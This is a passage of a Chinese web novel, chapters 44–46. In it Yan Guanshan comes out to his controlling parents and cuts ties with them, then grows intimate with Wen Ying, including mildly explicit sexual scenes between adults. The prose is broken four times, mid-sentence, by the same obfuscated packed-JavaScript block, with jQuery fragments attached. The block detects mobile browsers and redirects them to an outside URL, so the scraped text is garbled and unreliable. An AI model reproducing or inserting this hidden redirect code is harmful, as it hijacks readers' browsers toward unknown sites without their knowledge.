“幼稚不幼稚?”闻影把手插回兜里,往检票口走,“你把我当三岁小孩儿哄?”
晏关山和他并肩,声音很低,柔声说:“别人都有,你不能输。”
闻影一愣,没懂这什么逻辑:“我为什么不能输?”
输点在哪里,关键这有什么好攀比的!
“因为我在啊。”晏关山拍拍自己,自信满满,“好的我全给你。”
胸口袋子鼓鼓地塞了一只趴趴狗,趴在闻影猛烈跳动的心上,他耳膜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725858|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似乎都能感受到每一次激烈的搏动。就因为晏关山这句话。
从小活得像只野狗的闻影早就习惯了想要什么自取,指望不着任何人,能得就得,得不到就拉倒。
再小些的时候会羡慕别人有父母簇拥着给买这买那,后来心硬了不少,过早明白没有的东西不能强求,就跟父母一样。
以至于闻影性格里多少沾点佛系,爹妈给的生活费足够多,但他花钱却不大手大脚,吃穿都随意,没什么攀比心也没多大的物质欲望。
他很少会有想拥有什么的想法,晏关山算一个,但也正因为他性格使然,得不到他就跑。如今晏关山说要给他,好的东西都要给他,闻影第一次感受到能把期待寄托于自己之外的人是幸福的。
被别人爱着的那种幸福。
边屹订的情侣厅,两人一座,是长条沙发,熄了灯沙发还能抬起来,人往上一躺立马困意十足。
闻影已经懒得嫌弃这地方了,目睹边屹站在许寰身边那娇羞的模样,闻影大概也明白,他这兄弟春心萌动着,他索性闭了嘴。
贺岁档加上情人节,不是可劲儿谈恋爱就是热闹合家欢,好在是后者,不会出现令人尴尬的画面,闻影伸长了腿衣服一拉,准备睡觉。
这情侣座中间没有扶手,晏关山和他肩抵着肩,在黑黢黢又安静的氛围下,对方的存在感太强烈,连身上淡淡的洗衣粉味儿沐浴露香洗发水香都那么清晰,闻影闭了会儿眼又睁开。
“不好睡?”晏关山挪低肩膀,“靠着。”
闻影:“你偷看我。”
晏关山一笑:“嗯。”
“晏关山。”为了堵住对方的嘴闻影只能喊他。
晏关山又低低“嗯”了声,压着嗓音,这声儿带着磁性有点性感,闻影再喊了一遍名字。
晏关山就喜欢听他这么叫自己,一遍遍“嗯”着,叫着叫着,手被人主动牵了过去。
闻影看着荧幕,目不斜视:“就一会儿。”
晏关山调整姿势,手指用了些力,把对方握住:“多久都行。”
闻影手心出了些汗,他没松开,抓着晏关山的手,用他手背拍着胸口的衣服袋子说:“这个的回礼。”
晏关山遗憾地看了一眼露着半个头的小狗,如果他今晚争气点抓个像边屹那么大的,回礼会不会也不一样。
比如……亲一下什么的。
电影讲的什么已经不重要了,晏关山心猿意马地握着心上人的手,想就这样把人带回家。
电话在这个时候不合时宜地震动起来,晏关山掏出来只看了一眼来电显示就摁灭,对方又打,他再摁,接连三次后闻影被手机的光刺得不耐烦:“去接啊,怕是有急事儿。”
晏关山垂眸看着紧紧相贴的手。
闻影嫌弃地松开,在衣服上擦手汗:“回来再牵磨叽什么,去接。”
晏关山只好出门接电话,如果他不接对方确实会一直打,打到手机没电都说不定,这不是工作电话,晏关山原本打算关机的。
出了门,晏关山掏出手机看着来电显示上的“妈”瞬间好心情荡然无存,他滑动接起来:“什么事?”
“你在哪里?”晏母语气不算柔和。
“影院。”
“看电影?”晏母问,“和闻影吗?”
晏关山皱起眉:“对,找我什么事?”
“你现在回家一趟。”电话里传来晏母不容置喙的语气。
晏关山:“没空。”
料到对方拒绝,晏母直接放出杀手锏,说了一堆让晏关山无法拒绝的话,完事儿平静地命令:“我和你爸在家等你。”
44.第 44 章
晏关山接了个电话人就走了,他给闻影发了微信,说是有急事,闻影问他是不是医院有病患,还是出了什么别的事,直到电影散场,闻影都没得到回复,以至于这电影到底在拍个啥闻影根本不知道。
因为对方有偷偷去找罗虎干架的前科,闻影一颗心悬着,出了影院,费彦提议去酒吧小酌一杯:“我给晏哥发个地址,等他忙完了来找我们。”
球球也问:“晏哥走那么急,是医院的事吗?闻影,他有跟你说要处理到几点没?”
闻影恹恹道:“没回,不知道干嘛去了。”
一堆人戳在路边讨论是去清吧还是去蹦迪,闻影犹豫了会儿没忍住打了电话过去。
打了三个,对方终于接起来。
闻影急着问:“你干嘛去了啊?”
“有点事。”晏关山那边很安静,“没陪你把电影看完,下次补上。”
“什么急事?是医院有事儿还是别的?”
闻影语气着急,晏关山听得出来,他笑了声:“没去找罗虎,你别担心。”
但是电话那一头安安静静的明显也不是在医院啊,闻影闷闷道:“不说算了,没大事就行,他们问你一会儿还来么,费费要喝一杯,他过几天要走了。”
“可能来不了了。”晏关山抬眼看着大开的铁门道,“我来爸妈家了。”
挂了电话,晏关山慢腾腾地熄火下车,深吸了一口气调整情绪,才推门进去。
“小山回来啦。”张妈迎出来,往鞋柜里找好干净拖鞋,回头笑着喊,“先生,夫人,小山来了。”
张妈往门外看了看:“车停院子里呀,怎么放那么远,我让王师傅给你挪进来吧。”
“不用,几句话说完就走。”
晏关山冷冷淡淡的,换了鞋,径直去了客厅,一进这个宅子他整个人就跟裹了层冰霜一样不近人情,谁靠近都得冻三尺。
晏父晏母坐在客厅,电视声放得很小,显然就是一直在等他。
晏关山跟客人一样拘谨地坐在单人座,开门见山地问:“你查闻影有什么目的?”
晏母听笑了:“你反倒问我有什么目的,我想知道,你俩到底什么关系?”
晏关山奇怪地瞥过去一眼。
“朋友这种话就不用说了。”晏母说,“玉大南门口,我什么都看见了,叫你回来就是想听一句实话。”
晏关山还是沉默。
晏母有些生气:“这段时间你一得空就跟他凑一块儿,家里也住过吧,还去了别的地方,我找人都查过了,别想着扯谎。”
“没想扯谎。”晏关山没立刻回答是因为关系还没确定,他想了想道,“我喜欢他,正在追,追到就是男朋友,现在还是朋友。”
“你!”晏父一口气没上来,胸口起伏不定,沉声问,“你知道你在说什么吗晏关山!”
晏关山坐得笔挺,平静无波地道:“我在出柜,爸,妈,我是同性恋,我喜欢男人,这个叫闻影的男人,我喜欢。”
“啪!”
晏父一巴掌拍在桌上,把茶杯都拍碎了,他气得浑身发抖,一句话也骂不出来,晏关山平静地去药柜里拿纱布和碘酒,还把血压药也顺手拿了,倒水放好,要给晏父包扎伤口时被对方一把甩开。
晏关山蹲在一边,也不恼,甩开了他再抓回来,他力气比晏父大得多,僵持不下晏父只好让他处理,伤口不大,出了一点血,晏关山很快弄好又回到座上。
他道:“叫我回来不是就想听这个吗?既然都派人查过了,我承认了你们又发脾气,何必叫我回来。”
晏父低着头问他:“儿子,是不是因为我们让你相亲,所以你就用这种方式来和我俩赌气。”
晏关山摇摇头:“没有赌气。”
“还说没有!”晏母沉住气说,“上回在你们家,闻影也听见我们争吵了,你俩想用这种借口逃避相亲我可以理解,相亲的事可以缓缓,你没必要说自己是……”
“我确实是。”晏关山好笑道,“我不愿意相亲不止是讨厌被安排,还因为我早就有喜欢的人。今天愿意回来,也是因为你说的话触及我的底线。”
“妈,别再因为我牵连其他人,尤其是闻影。”
晏父难以置信:“你怎么会变成这样?!”
晏关山无奈叹气:“我一直这样,只是你们不知道而已。”
“不行,你不可以这样,你就是在赌气!”晏母按着太阳穴道,“是闻影这种不三不四的人干扰了你的正常生活,你原本就不该跟这些人接触的。”
晏关山冷下脸来:“他是什么人我比你清楚。”
“你清楚?”晏母质问道,“那你知道他从小没爹妈要,打架斗殴不学无术吗?从初中开始就吃处分,甚至还跟社会渣滓扯上关系进过派出所!就算读的玉大也只是个艺术生,旷课缺席屡次差点挂科,要不是找了关系他毕业证都拿不到。我第一次见他就觉得很没有家教,粗陋乖张,和街面儿上的小混混没有区别。一个一眼就能看清将来是个什么成色的人,你和他往来,究竟图什么!”
听见闻影被形容得一无是处,晏关山是愤怒的,可他的愤怒又异常平静,因为他最清楚在晏父晏母的眼里,脱离他们掌控的自己也是个成色不堪的无用之人。
他忽然就觉得自己很可笑,听见晏母用闻影威胁他就急匆匆回来想要证明些什么,以至于他忽略了自己父母是怎样的人,油盐不进,执拗霸道,根本不可能通过沟通改变对方的想法和观念。
晏关山舒了口气,还是打算把该说的说完,对方听不听,他不在乎了。
他说:“父母不负责任把他扔下,家教从何说起?这又不是他的错。没人护着他,被欺负当然会反击;谁对他好,他习惯用这种方式保护别人,我没觉得有问题。学历也好家境也罢都是表象,用这些可以评判一个人的好坏?”
晏母还想说什么,被晏关山生生打断:“我也曾家境优渥,品学兼优,活成了‘别人家的孩子’,实际上我和父母关系恶劣,冥顽不化,或许还有精神和情绪方面的问题,哦对了,现在还是个让你们难以启齿的同性恋,妈,表象能判断一个人的好坏吗?”
晏母被自己曾经的话堵得还不了嘴,除了气愤不甘心之外,什么都做不了。
晏关山轻笑:“在你们眼里,我和他既然都不是好东西,还管我们干嘛。”
晏母:“可你终究是我儿子,我怎么能不管?”
晏父像是缓过些气来了,咳了一声道:“晏关山,你说这些都是深思熟虑过的吗?”
晏关山直视对方:“我回来特意说这件事,还不够深思熟虑?”
晏父上下打量起他来,实在想不明白到底哪里出了问题,从何时出了问题,好好的一个大小伙子,居然喜欢上男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740147|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
他自问家庭教育从未出错,错在晏关山不听教化,错在他的叛逆期来得比别人晚,比别人顽固,但他相信天长日久的总能把儿子身上这些坏毛病拧回来,就凭他们是生养他的父母,凭他晏家家大业大,晏关山逃不出掌控。
可现在失控了,以一种晏父从未想过的方式失控了。
晏父阴沉着脸说:“这种事不能发生在晏家人的身上,你让老晏家的脸往哪儿搁。”
“你们也是受过高等教育的人,也见过世面。”晏关山道,“这种事稀松平常,不丢人,也改不了。”
晏母挺直腰背:“你不许再见他,你俩断绝一切联系,如果不听父母的话一意孤行,我就……”
“对付他?”晏关山寸步不让,“我今天把话放这儿,我已经成年了,有能力保护想保护的人,你们用任何手段对付他我都会拦着,如果他生活或是学业遇到任何人为的阻碍,我不遗余力也会帮他解决,你们要想对付我,也尽管来。”
说完这些晏关山站起来,少见地走到他爸爸面前,扶了扶男人的肩:“我有自己的人生,实在不顺你们的意,不认我也罢了,作为儿女该尽的义务我会尽到底,将来老了不会不管你们。”
晏父抬起头:“你是要和我们断绝关系吗?”
晏关山回视:“是你们觉得我丢晏家的脸,为了让彼此都好过些,我以后就不回来了。”
“你想清楚!”晏母声音都变得尖利起来,“你想清楚后果,晏关山!公司本来想交给你打理……”
“我对做生意不感兴趣,晏家的财产我一分都不要。”晏关山收回手转身走去玄关,换好鞋,看了一眼安静的客厅,道,“我走了,就当你们养了一头白眼狼。爸,妈,对不起。”
这番话憋在心里挺久了,决绝地要走以及对不起都不是那么容易说出口的话,可晏关山这些年想明白挺多事儿的,爱恨取舍都是人生血肉,长一块或撕一块都会疼,可人生就这么短啊,恨的得舍掉,爱的要留住,再疼也得活得轻松自在,有滋有味不是?
开车回家,一路上晏关山脑袋放空了很多,他从未感到过如此轻松,要说还有什么挂心的,就是刚才在父母面前那番豪言壮语眼下还没结果,闻影和自己之间还蒙着一层纱,这不是坏事,起码对晏关山来说,一段认真的感情,它需要有一个成熟的开始,就像盖房子,地基打得不够夯实,和六年前遭遇杀猪盘没区别,一个误会两人互相不理解说散就散了。
这里面唯一作不得假的只有爱,然而事实证明,要长长久久,只靠一腔迷恋和生理冲动是维系不住的。
这段时间的相处,靠近,晏关山切身感受着闻影的变化,被喜欢的人接纳和信任是一个幸福的过程。晏关山想要的是长长久久。
到了家,晏关山在院子里停好车,刚下车就感觉到异样,他懵然抬头朝门口看去,两个黑黢黢的影子在楼梯上若隐若现。
“汪!”
皮皮没忍住先喊出声,一旁的人慢腾腾站起来,走出阴影,走到晏关山面前,端着一副吊儿郎当的脸色,道:“挨骂了吧?我就是来看看你哭没……”
“哭”字刚落,闻影就被人一把拽进怀里,摁着后背双手都抱得紧紧的,他一愣,任由对方抱着,四周安静得只听得见心跳声,半晌,晏关山才说:“挨骂倒是哭不出来,回家看到你等在门口,还真有点想哭。”
45.第 45 章
见识过晏家父母那张嘴的厉害,闻影有些心软,问他:“这次又为什么事儿啊?”
闻着怀里人若隐若现的酒气和洗发水香,父母说的那些话已经被抛到九霄云外。
晏关山发现了比猫狗更好吸的是闻影,包治百病。
晏关山不立刻回答,闻影当他今天真被骂惨了,生疏地抬手拍了拍对方后背:“回来就别想了,他们要敢追过来,我给丫轰出去。”
这番主人翁意识爆棚的话把晏关山逗笑了,他“嗯”了声道:“没大事,只是把早就想说的话说清楚,以后我都不回去了。”
“不回去?什么意思。”闻影问。
晏关山:“跟晏家断绝关系。”
闻影一愣,不知道说了什么会造成这个结果,他难免想起自己对晏母撩过的狠话,有些心虚。
“他们逼你什么了?换工作换专业?去相亲?”
“你猜得挺准。”晏关山又吸了一口人,轻描淡写地说,“其他都不重要,是因为我出了个柜。”
“你出……”闻影把人松开,微微抬眼看着他,“出柜?!”
晏关山点点头,看着对方笑:“不出不行,我妈看见向日葵了。”
闻影:“……”
跟父母出柜的烦恼闻影这辈子恐怕是不会有的,但没有不代表他不知道这件事有多严重,边屹曾经开着玩笑试探着想跟他妈敲边鼓,结果好脾气的边妈急得当场捂胸口,是真要昏过去了。人虽没大事,缓过来就一个劲儿哭,边哭边说要打断边屹的腿,还要去开中药给他治病。
最终这个边鼓被当做玩笑揭过,边屹说他这辈子都得把这事儿捂严实。
边家爹妈算闻影见过的比较和蔼的长辈,尚且会因为一点苗头而鸡飞狗跳,晏家父母又强势又不讲道理,晏关山这样忽然出柜,闻影难以想象那个场面会有多混乱。
他突然勾下头看晏关山的大长腿,扯着裤子看了会儿,又直起身拍胳膊。
晏关山莫名其妙:“干嘛?”
“他们没打你吧?”闻影表情认真,“边屹以前想出柜,他妈就说要打断他的腿。”
晏关山:“还说了什么?”
“还得喝中药调理。”
晏关山摇着头直笑,把人牵住:“没打我,也没让我喝药,你在一天,我这毛病怕是吃多少中药都调不好了,不治了吧。”
闻影对甜言蜜语过敏,抬脚就踹出去,被晏关山一扯扯进了家门。
开了灯,晏关山才发现闻影早就进来过了,他穿着客人穿的拖鞋,还给猫猫狗狗加了饭,只是屋子里又空又黑,才带着皮皮搁家门口坐着蹲人。
“喝了多少酒?”晏关山边换鞋边问。
“闻见了?”闻影吸吸鼻子,嗅了嗅衣服上有没有烟味,“他们还在喝,我没喝几杯就跑了。”
晏关山把灯都开得亮堂堂的,打开电视,径直去厨房做了杯柠檬水,加了点盐,端给闻影:“别走了。”
闻影吨吨吨喝完一杯:“还要。”
晏关山又去做了一杯,拿过来还是那句话:“住这儿吧。”
闻影已经瘫在沙发上了,但该拿乔还是得拿乔,他歪着头问:“理由?”
晏关山张口就来:“房子太大,我害怕。”
这个娇撒得要多硬有多硬,偏偏放在晏关山身上,和从前反差太大,闻影就好这口。
他含糊地应了声,拍拍身边的沙发。
晏关山挤着他坐下,等半天也没听见他要说什么,闻影把胸前口袋里的趴趴狗拿在手里捏来捏去,电视的声音成了白噪音,让沉默的两个人更沉默。
晏关山还是开口问道:“你是不是有什么想问的?”
闻影长睫抖了下,半天才说:“你出柜,又跟他俩决裂,是不是因为我?”
他抓耳挠腮起来:“我意思是,你爸妈到底是因为接受不了同性恋,还是接受不了我,才闹这么难看的?”
晏关山挑眉:“有什么区别吗?”
“当然有区别!”闻影有些话堵在胸口不知道怎么说。
晏关山摸摸闻影柔软的头发问:“我妈是不是找过你?”
闻影也没什么好瞒的,点头承认,他大致跟晏关山说了那天的对话内容,略过晏母对自己的恶言恶语。
晏关山却能猜出大概:“她的话你别往心里去,我的错,不该让你私下面对她。”
闻影是觉得,虽然晏父晏母不是什么好爹妈,可人有爹妈总比没有好,如果决裂的原因是后者,他不希望自己成为那个让晏关山孤家寡人的因素。
闻影低着头保证:“我以后对他俩客气点……尽量当面不说脏话。”
晏关山听笑了,抢走闻影的趴趴狗,嘀咕了一句:“你都还没答应我,就寻思在我爸妈那留个好印象,是不是代表你已经认我这个男朋友了?”
“滚一边儿去!”闻影嘴硬道。
晏关山捏着闻影的指头,慢吞吞说:“决裂跟你没关系。只要逆了他们的意,不管我是什么样的,他们都无法接受。”
闻影安静听着,问:“我只是替你可惜……有家总比没家好。”
“这里才是我家。”晏关山说,“和你住一起了我才知道生活是可以偶尔放肆的,睡懒觉熬大夜不是罪大恶极的事,吃宵夜也很开心。”
闻影又把趴趴狗抢到手里,说:“家人在乎的点不一样,我纯是带着你胡闹,他们操心你的将来像是也没错,只是方式不对。家人不都是不藏私的么。”
在闻影心里,家人始终镀了层纯洁的光环,对一个独立个体而言,家人该是世上最无私的所在。正是因为他没有,所以这个想法根深蒂固,晏父晏母再糟糕,他们也没有抛弃过自己的孩子,闻影觉得父母把孩子养育成人,这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755777|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面是不会掺杂私心的。
“他们首先是自己,才是父母。”晏关山耐心解释,“不是每个做了父母的人都提前想过要担责任,有一部分人生儿育女,绝非出于爱,为了养老、实现自我价值、传宗接代或者只是不小心弄出个孩子。”
闻影:“我爸妈就这样。”
“可外婆不是。”晏关山摸摸他的脑袋,“她是爱你的,没有私心。”
闻影点点头说:“你爷也是。”
“还是有人爱我们,没那么惨。”晏关山像哄小孩似的说,“人都是有私心的,所以不必替别人的自私而内疚,犯不上。”
以前外婆也跟闻影说过类似的话,那会儿他还小,听不进去也听不明白,他只是觉得外婆在给这对消失得无影无踪的父母开脱,要闻影别恨他们,越这么说他就越恨。
恨着恨着人就长大了,忘记去恨了,现在晏关山让他明白的是,不是不可以恨,闻影从未做错任何事,怨恨是他的权利,但不恨是为了自己。
“你知道为什么那会儿走的时候,我画了一棵树么?”闻影忽然问。
晏关山摇摇头。
闻影斜眼看他:“你先说,现在玻璃上那树是不是抄袭我?”
“是。”晏关山大方承认,“每一家宠物医院都印着这棵树,包括医院名字,就是想你哪天看见了,回心转意回来找我。”
闻影说:“真没看见,看见也不会回心转意。”
晏关山问:“为什么画一棵树?”
闻影喃喃道:“我以前看到过一句话——”
自己满溢,自己降霜。
自己做焦枯荒野上的雨。
只是一场轻飘飘的雨,落在世界哪个地方,都可以是无足轻重的,可和晏关山在一起,他就是那棵树,闻影是各种各样的雨,互相滋养,蓬勃生命。因为树在这里扎根,雨才有了落点。
生活才不会那么贫瘠。
晏关山听愣了,闻影补充:“尼采说的。”
“说的真好。”晏关山评价。
“那可不。”说完情话,闻影有些不好意思,“人家是大师。”
二人一阵沉默,都憋着笑,闻影憋不住了扭过头,勾了勾下巴凶巴巴问:“亲不亲?”
晏关山一愣,旋即捧着对方的后脑勺,把人往沙发里一压,强势却温柔地制住了那片薄唇。
许是掏心窝子的话勾起的欲望,也可能是屁大点酒精作祟,总之闻影今天被亲得更加难以自控,上次是浅尝辄止的“测试”,这一回是坦荡恣意的接纳。晏关山的手也不老实,总把他衣服掀起来往腰上摸,没摸几下就起了反应,可是他又舍不得松开对方,闻影两只手搭在晏关山的肩膀上,用了些力的,要和他紧紧抱在一起。
所以那点反应只好任由它支棱着,晏关山也没好到哪里去,亲到气喘吁吁时他忽然说:“我帮你吧。”
46.第 46 章
闻影抬起手盖在自己眼睛上,认命地“嗯”了声。
当身体最隐秘的地方被另一个人触碰,这种感觉就像持续过电,而触碰它的又是晏关山,闻影完全控制不住地又想要逃避又希望对方继续,他实在太紧张了,晏关山只好单手跨过对方后勃颈轻轻搂着他,边亲吻边哄:“你放松,不舒服告诉我。”
“……没有。”闻影连说话都断断续续,“没不舒服。”
晏关山从下巴亲到喉结,又埋脸在耳边,低低说了些什么,闻影烦躁道:“你别特么说话了这时候!”
他凶狠地把人脸掰过来,接着亲。
等浑身那劲儿顶到头忽然散去,闻影咬着后槽牙还是泄露了一声轻哼,他喘着粗气,很不想在这个时候睁眼看晏关山。
羞耻席卷而来,人却是飘飘然如卧云端,他没这么舒服过,当然跟自己来完全不可比。
晏关山撑在他耳边坐起来,然后抽纸擦手,语带笑意地道:“你衣服沾上了,我再给你拿一件,来卫生间洗洗你先睡吧。”
闻影还捂着脸:“你不睡啊?”
晏关山一顿:“我……再洗个澡。”
“洗什么洗。”闻影咽了下口水直直坐起来,牵着晏关山那只罪恶的手直奔二楼卧室,“我来。”
一个小时后,两个人面红耳赤地躺在床上,熄了灯也大睁着眼睛睡不着。
闻影礼尚往来也“帮”了下晏关山,一帮帮出火,活生生闷在小卫生间里亲得两个人都快喘不上气了。
他觉得擦枪走火这事儿,对于一个身心健康没开过荤的男人来说,太正常了,不是晏关山有多么诱人,单纯就是自己是个处男经不起一点诱惑。
种种细节在黑暗里历历在目,手感触感,对方手指蜷在一起的弧度和力道,晏关山仰着头时突起的喉结,他腹肌上浅浅的淤青以及那双让人艳羡的大长腿。
这还睡他妈的什么觉。
闻影重重地翻了个身。
旁边一直烙饼,听见动静晏关山侧过身,一只手担在闻影腰上拍了拍:“过来点,抱着睡。”
闻影不吭声,在被窝里蠕动几下。晏关山看他后脑勺都透着害羞,只好挪过去把人抱住。
他们做了亲密的事,坦诚相待,没有任何隐藏,即便谁都没开口聊到把关系近一步发展,但成年人的确信就在一些瞬间,这些瞬间里默契地把对方当做最信任的人,交付真心和身体,为爱满溢。
闻影在一个全是晏关山气息的环境里渐渐平静下来,他往后拱了几下,腰背贴着晏关山的腹,火速把一只手抓进自己的被窝,牵在胸口。
“晏关山。”闻影闭着眼,声音略有些哑地问,“你想过这事儿么?”
“想过。”晏关山脑门顶着闻影后脖颈,深深吸了一口人说,“你不在的时候也想过。”
“哦。”闻影撇嘴笑了下,“不装正经了?”
“我是个男人,不想这事儿才不正常吧。”晏关山收紧胳膊,抱紧些,另一只手反客为主捏着闻影的指头玩,他说,“要不是家里缺东少西,我还干点别的。”
闻影往后蹬了一脚,被晏关山用腿夹住。
“别瞎踢,踢坏你用什么?”晏关山制住他。
闻影一骨碌翻身,把晏关山脸掐得变形:“黑灯瞎火的你就不要脸了是不是晏关山,什么都敢往外说。”
晏关山被掐得嘴都嘟起来,一个劲儿笑。
“笑屁。”闻影把他捏圆搓扁,“你以前不这样啊,咋变这样了,嗯?”
“要脸男朋友就跑了。”晏关山说,“我不要了,我要你。”
好喜欢好喜欢你。
……
第二天一大早晏关山就去上班了,闻影是知道的,他这么多年一个人睡,身边突然多了个人当然不适应,床垫稍微动一下他就醒了,虽然不太清醒,可还是记得晏关山似乎跟他说了好多话。
叫他多睡会儿,醒了就打电话,早饭赶不上就等他中午回来之类的。
闻影一觉睡醒果然快中午了。
窗帘没有拉死,阳光从缝隙钻进屋子,照得被窝上暖暖的,闻影睁着眼醒了会儿瞌睡,想昨晚的事,想现在的事,想着想着他转过身把头埋进枕头深深吸了一口,都是晏关山那洗发水的香味。
整个房间都是他的味道,各有各的香,让闻影安心的香。屋子里的家具物品都是陌生的,可一想,又符合晏关山性子里有些冷淡的那部分气质,这样的陌生又透着一股熟悉。
竟不会让闻影觉得不自在。
他摸出手机,直接给晏关山打了过去。
“醒啦?”那边隔了会儿才接起来,环境由嘈杂变得安静,晏关山看了眼时间道,“还有一会儿我就回来了。”
闻影嗓子还是哑的,他翻了个身问:“你在干嘛呢?”
“上班啊,怎么了?”晏关山说。
“没怎么,就是问问。”闻影懒懒地道,“给狗子做手术吗?”
晏关山把早上的工作汇报了一遍。
闻影又问:“那下午呢,也安排了会诊?”
“嗯,我要去其他分院看看,有个肿瘤手术要做。”
“这么忙你中午还回来干嘛?”
晏关山好笑道:“我想你啊。”
“真腻歪。”闻影又翻了个身,不知道为什么,就想在被窝里蹬腿,他蹬了几下说,“那你还是回来吧,我再躺会儿。”
挂了电话,闻影对着天花板发呆,这就是谈恋爱吗?他已经在谈恋爱了吗?谈恋爱的时候两个人只是几个小时没见都会变得这么腻歪吗?晏关山倒是好意思说想他,闻影就不好意思,他也想晏关山,所以问东问西扯点闲篇,不是真的想知道他做了几台手术要去巡几个店,就是没话找话的,要听一下对方的声音。
闻影难为情地翻过来翻过去,到底是不适应自己这种状态,心口酥酥痒痒地在开花,屁大点事儿他就想笑,整个世界都那么好笑。
好笑到闻影在被窝里打了一套咏春。
挂了没五分钟,晏关山兜里手机又一响。
[景三]:回家前说一声。
[Y]:还有一阵,要带什么?
[景三]:老子煮饭,你带嘴回来就行。
……
晏关山的家毕竟离学校太远,闻影也不可能刚和他搞对象就同居,住了三天,回自己家了。
他深刻反思不能这样荒淫度日,别人谈恋爱应该不至于像自己这样整天脑子里都黄色废料,就算大家都是身体健康的男人,每天不节制实在荒唐。
晏关山劝了几句没留住也就不劝了,闻影该有他自己的生活空间,他愿意来住几天就住几天,他要走,晏关山可以去找他。别那么多你为我让一步我为你退一步,都自自在在的,挺好。
工作忙起来没空东想西想,得闲那个把小时除了吃饭,晏关山都在跟闻影联系,保持联系是成年人谈恋爱的最低要求,晏关山不是个浪漫的人,也没有时间去创造浪漫,仅有的个人时间都围着闻影转,晏关山不希望闻影觉得这谈恋爱太枯燥。
闻影大四下学期了,要忙的事也多,毕业设计、兼职、积累作品参加各种展览,见缝插针搞对象,有时候也捉襟见肘,一天说不上几句话,三四天见不着一面也常有,周末短暂地腻歪一两天,对他俩来说足够。
也不干什么特别的事,有好电影就出门看,和边屹许寰吃饭,或者在家打游戏追剧,晏关山给闻影买了个PS5,自家沙发上盘着爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765682|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么玩怎么玩,不像从前似的总扣扣索索去体验店打一个小时。
[Y]:[个人名片]PS游戏魔方小李
[Y]:充了卡,要什么游戏直接叫他送到家。
[景三]:上周不买了一卡车碟了?好游戏太多,玩不过来。
[Y]:慢慢玩,家里给买。
别的小朋友打游戏有无这个待遇晏关山不知道,但自家的闻小朋友必须得有,要什么给什么。
画廊又给闻影接了个活,因为是长期的,需要签个合同,合同他拿给晏关山看过,晏关山替他把关,联系律师微微修改了部分条款,今天闻影就是要带着新合同去和人签约。
四月份晏关山考博就要初试,他得去学校找一趟导师,提交完材料出来,闻影的微信就发了过来。
[景三]:顺利吗?
[Y]:顺利,你那边签好了?
[景三]:你在哪?
[Y]:学校,等你吃晚饭,晚点儿陪你画画。
[景三]:我有点事,你先回吧。
闻影发完这个就没再说什么,晏关山皱着眉有些奇怪,抬头时不知不觉走到了美院门口。
一辆车和他擦肩而过,他感觉有些熟悉,回头看了一眼,车子开得太快,没瞧清楚车牌,但熟悉的黑色漆水和那不太多见的款式搭配在一处,晏关山一眼就认出来是晏母的车。
纯黑色的库里南很快消失在拐角的地方,晏关山给许寰打了个电话,他把晏母私下见过闻影的事草草说了:“她来美院让我没法儿安心,学校管理层面如果有任何针对闻影的举动,你及时告诉我。”
“我一会儿就去问。”许寰笑起来,“这么多年了,你妈还是只会这一手,以前要不是我爸镇着,我早被他赶出玉高了。
晏关山叹气:“低级的手段她瞧不上。”
许寰家虽比不上晏家阔绰,可好歹也是有头有脸的人,当初要不是许爸强势,晏母早就把许寰这个赶也赶不走老缠着她儿子的眼中钉从学校铲走了。
许寰:“我知道你妈多厉害,放心,闻影那边我帮你留意,任何情况打听到立刻告诉你,对了,牵扯学校里的事儿我兴许能帮上忙,你别不跟我说。”
晏关山“嗯”了声:“那肯定得跟你说。”
“我也是有私心的。”许寰玩笑道,“小时候没能力跟你妈掰手腕,现在正面交锋了,我得跟她晏家掰掰,不能输。”
许寰这是不想让晏关山有心理负担,他明白,好兄弟之间不用谢来谢去,挂了电话,晏关山转身准备去停车场开车。
“晏关山。”
苏淳的声音在身后响起,晏关山回过头,站在原地,对方迎着他走过来,神色有些莫名的凝重。
